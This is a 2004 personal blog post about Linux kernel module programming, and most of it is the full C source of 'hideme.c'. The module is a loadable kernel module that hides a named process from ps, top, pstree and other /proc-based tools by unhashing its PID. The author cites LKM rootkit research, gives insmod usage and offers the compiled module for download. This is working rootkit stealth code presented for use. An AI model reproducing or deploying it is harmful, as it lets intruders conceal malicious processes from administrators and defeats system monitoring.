June 17, 2004
Kernel module hacking [ Software ]
I needed to find a quick 'n' dirty way to effectively hide a running process by name on a Linux 2.4 machine. I've done some research on LKM rootkits in the past and read through the requisite articles and papers from phrack & company, so I had a fair idea of what approach to use. I've never done any Linux kernel module programming before, so I googled around and found some useful resources.
I found some helpful code snippets, suggestions, a good HOWTO on writing kernel modules, some documentation on Linux 2.4 process management, and the excellent site at http://lxr.linux.no/source/ which lets you browse through kernel source code. I spent a lot of time looking at sched.h in particular while I wrestled with questions like "next_task isn't in structure? Whaddaya mean?". Turns out that the 2.6 kernel has a slighly different setup than the 2.4 kernel for iterating through processes, so I had to switch development boxes to use a 2.4 machine (since that's where it's destined to go).
You can download the code + compiled module (built on RedHat 8, kernel version 2.4.20-18.8) in .tgz format. This module will effectively hide a named process from 'ps', 'top', 'pstree' and other utilities that rely on the /proc filesystem for process information once it's loaded. You can also browse the code below:
/* * hideme.c * * Copyright (C) 2004 Eric Dobbs <edobbs (at) freemode (dot) net> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License (LICENSE file) for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. * */ #include <linux/module.h> /* Needed by all modules */ #include <linux/kernel.h> /* Needed for KERN_ALERT */ #include <linux/init.h> /* Needed for module_init, module_exit */ #include <linux/sched.h> /* Needed for write_lock_irq */ #define MYMODNAME "hideme" #define PROCNAMELEN 16 /* Function headers */ static int my_init_module(void); static void my_cleanup_module(void); struct task_struct *find_task_by_name(char[PROCNAMELEN]); int hide_task(struct task_struct *); /* ======================= Actual code ======================= */ /* What's the default process name? */ static char *procname = "foo"; /* Non-verbose by default */ static int verbose = 0; /* Get argument if present */ /* Generally done by 'insmod ./hideme.o procname="value" verbose=1' */ MODULE_PARM (procname, "s"); MODULE_PARM (verbose, "i"); struct task_struct *find_task_by_name(char in_name[PROCNAMELEN]) { struct task_struct *task = current; do { if( strncmp(task->comm,in_name,PROCNAMELEN) == 0 ) return(task); task = task->next_task; /* Old-style, works with 2.4-series kernels */ /* next_task(task); */ /* New-style, works with 2.6-series kernels */ } while(task != current); return(NULL); } int hide_task(struct task_struct *t) { /* Remove process from ps listings */ write_lock_irq(&tasklist_lock); unhash_pid(t); t->pidhash_pprev = &t->pidhash_next; t->pidhash_next = NULL; write_unlock_irq(&tasklist_lock); return 0; } static int my_init_module(void) { if (verbose) { printk(KERN_ALERT "Module %s loaded.\n", MYMODNAME); printk(KERN_ALERT "%s: used %s as argument.\n", MYMODNAME, procname); } /* Do we have a matching process? */ struct task_struct *p = NULL; p = find_task_by_name(procname); if ( p != NULL ) { pid_t mypid; mypid = p->pid; if (verbose) printk(KERN_ALERT "%s: process pid %i matches argument %s.\n", MYMODNAME, mypid, procname); hide_task(p); if (verbose) printk(KERN_ALERT "%s: hid process pid %i.\n", MYMODNAME, mypid); } else { if (verbose) printk(KERN_ALERT "%s: found no process matching argument %s.\n", MYMODNAME, procname); } /* Module won't load unless this function returns 0 */ return 0; } static void my_cleanup_module(void) { if (verbose) printk(KERN_ALERT "Module %s unloaded.\n", MYMODNAME); } /* Where's my entry and exit points? */ module_init(my_init_module); module_exit(my_cleanup_module); /* Anti-taint and module doc */ MODULE_LICENSE("GPL"); MODULE_AUTHOR("Eric Dobbs <edobbs (at) freemode (dot) net>"); MODULE_DESCRIPTION("Process hiding module"); /* We tie into /dev/foo* devices */ MODULE_SUPPORTED_DEVICE("foo"); /* eof */Posted by edobbs at June 17, 2004 05:58 PM
Original content copyright ©1995-2005 Eric Dobbs, except where otherwise noted.
Sun | Mon | Tue | Wed | Thu | Fri | Sat |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 |
Consulting Services
Photo Gallery
Site Statistics
Mindterm SSH
Webmail Access
Dage RPG world
Log in
Authoritarian America?
Calendar links
Cisco security
Nukes and missile defense
Death watch for TiVo?
Farm subsidies
Fresh links
OpenSSHd + Cygwin on Windows XP
Framing the debate
Google News
Washington Post
The Register
GlobalSecurity
-=- -=- Commentary -=- -=-
Slashdot
Plastic
Politech
Cryptome
-=- -=- Entertainment -=- -=-
Penny Arcade
PVP Online
hackaday
Legend of the Green Dragon
World of Warcraft
Scary Devil Monastery
-=- -=- Systems -=- -=-
Debian Linux
FreeBSD
OpenBSD
SunSolve
HP ITRC
Cisco TAC
-=- -=- Organizations -=- -=-
Electronic Frontier Foundation